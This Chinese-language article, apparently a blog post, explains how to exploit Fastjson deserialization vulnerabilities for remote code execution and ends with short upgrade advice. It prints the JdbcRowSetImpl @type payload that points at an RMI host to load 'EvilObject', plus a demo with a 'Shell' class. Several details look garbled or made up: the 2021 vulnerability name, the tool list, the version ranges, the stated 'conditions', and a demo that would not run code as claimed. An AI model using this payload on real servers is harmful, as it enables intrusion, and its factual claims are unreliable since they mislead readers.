一、fastjson漏洞利用工具
fastjson漏洞利用是網路攻擊中的一種利用方式,為了方便攻擊者,已經有很多的工具可供選擇,例如redr2,xray,whatweb等。這些工具都可以幫助用戶自動化地尋找存在fastjson漏洞的網站並進行攻擊。
二、fastjson漏洞利用條件
fastjson漏洞利用需要滿足以下兩個條件:
1、可以將第一次請求的json響應數據保存下來
2、可以偽造json數據發送到伺服器
一般情況下,可以通過Burp Suite等代理工具來保存第一次請求的json響應數據,並使用類似Postman的工具偽造json數據發送到伺服器上。
三、fastjson最新漏洞
fastjson最新漏洞是在2021年6月曝光的,攻擊者可以通過構造惡意的json數據來實現遠程代碼執行。這個漏洞被命名為「天王裸奔」。
四、fastjson漏洞原理
fastjson漏洞原理是因為fastjson在反序列化時對數據結構沒有嚴格的限制,導致攻擊者可以在json數據中夾帶惡意的類。攻擊者可以通過構造不同的類來實現遠程代碼執行。
五、fastjson反序列化
fastjson反序列化是fastjson將json數據轉化為Java對象的過程。
public static <T> T parseObject(String json, Class<T> clazz);
上述代碼調用parseObject方法將json字元串轉化為Java對象。
六、fastjson漏洞復現
fastjson漏洞復現可以通過以下漏洞代碼實現:
package com.alibaba.fastjson.demo;
public class Person {
public String name;
public int age;
}
String json = "{\"name\":\"wei\",\"age\":28,\"type\":{\"@type\":\"java.lang.Class\",\"val\":\"com.alibaba.fastjson.demo.Shell\"}}";
Person person = JSON.parseObject(json, Person.class);
System.out.println(person.name);
上述代碼中,Fastjson將json字元串轉化為Person對象,但是type欄位中惡意的類名將在轉化時執行遠程代碼。
七、fastjson漏洞版本列表
以下是fastjson漏洞版本列表:
fastjson 1.2.24到1.2.47
fastjson 1.1.35到1.1.71
fastjson 1.2.48以及之後的版本已經修復了這個漏洞。
八、fastjson漏洞利用原理
fastjson漏洞利用的原理是在構造json數據時夾帶惡意的類名。通過構造不同的類名,攻擊者可以實現遠程代碼執行。
九、fastjson漏洞利用特徵
fastjson漏洞的利用特徵是type欄位中的@type關鍵詞。
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/EvilObject",
"autoCommit": true
}
上述例子中的@type關鍵詞可以在反序列化時執行遠程代碼。
十、fastjson漏洞利用詳解
fastjson漏洞利用的步驟如下:
1、使用Burp Suite等工具保存第一次請求的數據。
2、構造惡意的json數據,夾帶惡意的類名。
3、使用Burp Suite等工具修改第一次請求的數據,將惡意的json數據發送到伺服器上。
上述步驟可以成功地利用fastjson漏洞實現遠程代碼執行。
十一、總結
fastjson漏洞是網路攻擊中常見的一種類型。攻擊者可以通過構造json數據夾帶惡意的類名實現遠程代碼執行。為了防止漏洞的利用,用戶需要及時升級fastjson版本,並且需要過濾惡意的json數據。
原創文章,作者:RTMKM,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/334778.html